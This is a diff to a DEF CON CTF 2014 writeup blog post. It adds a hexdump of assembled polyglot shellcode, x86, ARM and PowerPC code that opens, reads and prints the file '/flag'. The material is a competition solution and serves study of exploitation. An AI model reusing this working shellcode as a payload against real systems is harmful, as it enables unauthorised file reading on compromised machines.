Added hexdump to polyglot writeup

Author: Andrew Buss

Diff for: _posts/2014-05-18-defcon-ctf-2014-writeups.md

@@ -248,3 +248,36 @@ We used a Python script to handle the assembly of the combined binary and the in
             sys.stdout.write(con.read_one(15))
 
     test_live()
+
+The resulting assembled shellcode looks like: 
+
+    00000000  73 12 00 00 48 00 01 70  9a 00 00 40 13 00 00 ea  |s...H..p...@....|
+    00000010  90 90 90 90 31 c0 31 db  31 c9 31 d2 eb 32 5b b0  |....1.1.1.1..2[.|
+    00000020  05 31 c9 cd 80 89 c6 eb  06 b0 01 31 db cd 80 89  |.1.........1....|
+    00000030  f3 b0 03 83 ec 01 8d 0c  24 b2 01 cd 80 31 db 39  |........$....1.9|
+    00000040  c3 74 e6 b0 04 b3 01 b2  01 cd 80 83 c4 01 eb df  |.t..............|
+    00000050  e8 c9 ff ff ff 2f 66 6c  61 67 00 00 58 58 58 58  |...../flag..XXXX|
+    00000060  40 00 8f e2 05 70 a0 e3  00 10 a0 e3 00 00 00 ef  |@....p..........|
+    00000070  00 00 a0 e1 03 70 a0 e3  16 3a a0 e3 03 10 a0 e1  |.....p...:......|
+    00000080  01 2a a0 e3 00 00 00 ef  00 20 a0 e1 04 70 a0 e3  |.*....... ...p..|
+    00000090  01 00 a0 e3 03 10 a0 e1  00 00 00 ef 01 70 a0 e3  |.............p..|
+    000000a0  00 00 a0 e3 00 00 00 ef  2f 66 6c 61 67 00 00 00  |......../flag...|
+    000000b0  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+    *
+    00000110  e2 8f 00 40 e3 a0 70 05  e3 a0 10 00 ef 00 00 00  |[email protected].........|
+    00000120  e1 a0 00 00 e3 a0 70 03  e3 a0 3a 16 e1 a0 10 03  |......p...:.....|
+    00000130  e3 a0 2a 01 ef 00 00 00  e1 a0 20 00 e3 a0 70 04  |..*....... ...p.|
+    00000140  e3 a0 00 01 e1 a0 10 03  ef 00 00 00 e3 a0 70 01  |..............p.|
+    00000150  e3 a0 00 00 ef 00 00 00  2f 66 6c 61 67 00 00 00  |......../flag...|
+    00000160  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+    00000170  58 58 58 58 38 00 00 05  38 60 00 41 54 63 c0 0e  |XXXX8...8`.ATc..|
+    00000180  38 63 01 dc 38 80 00 00  38 a0 00 00 44 00 00 02  |8c..8...8...D...|
+    00000190  60 00 00 00 38 00 00 03  38 60 00 03 38 80 10 01  |`...8...8`..8...|
+    000001a0  54 84 80 1e 60 84 5a 74  38 a0 08 00 44 00 00 02  |T...`.Zt8...D...|
+    000001b0  60 00 00 00 7c 65 1b 78  38 00 00 04 38 60 00 01  |`...|e.x8...8`..|
+    000001c0  38 80 10 01 54 84 80 1e  60 84 5a 74 44 00 00 02  |8...T...`.ZtD...|
+    000001d0  38 00 00 01 38 60 00 00  44 00 00 02 2f 66 6c 61  |8...8`..D.../fla|
+    000001e0  67 00 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |g.XXXXXXXXXXXXXX|
+    000001f0  58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58  |XXXXXXXXXXXXXXXX|
+    *
+    00000400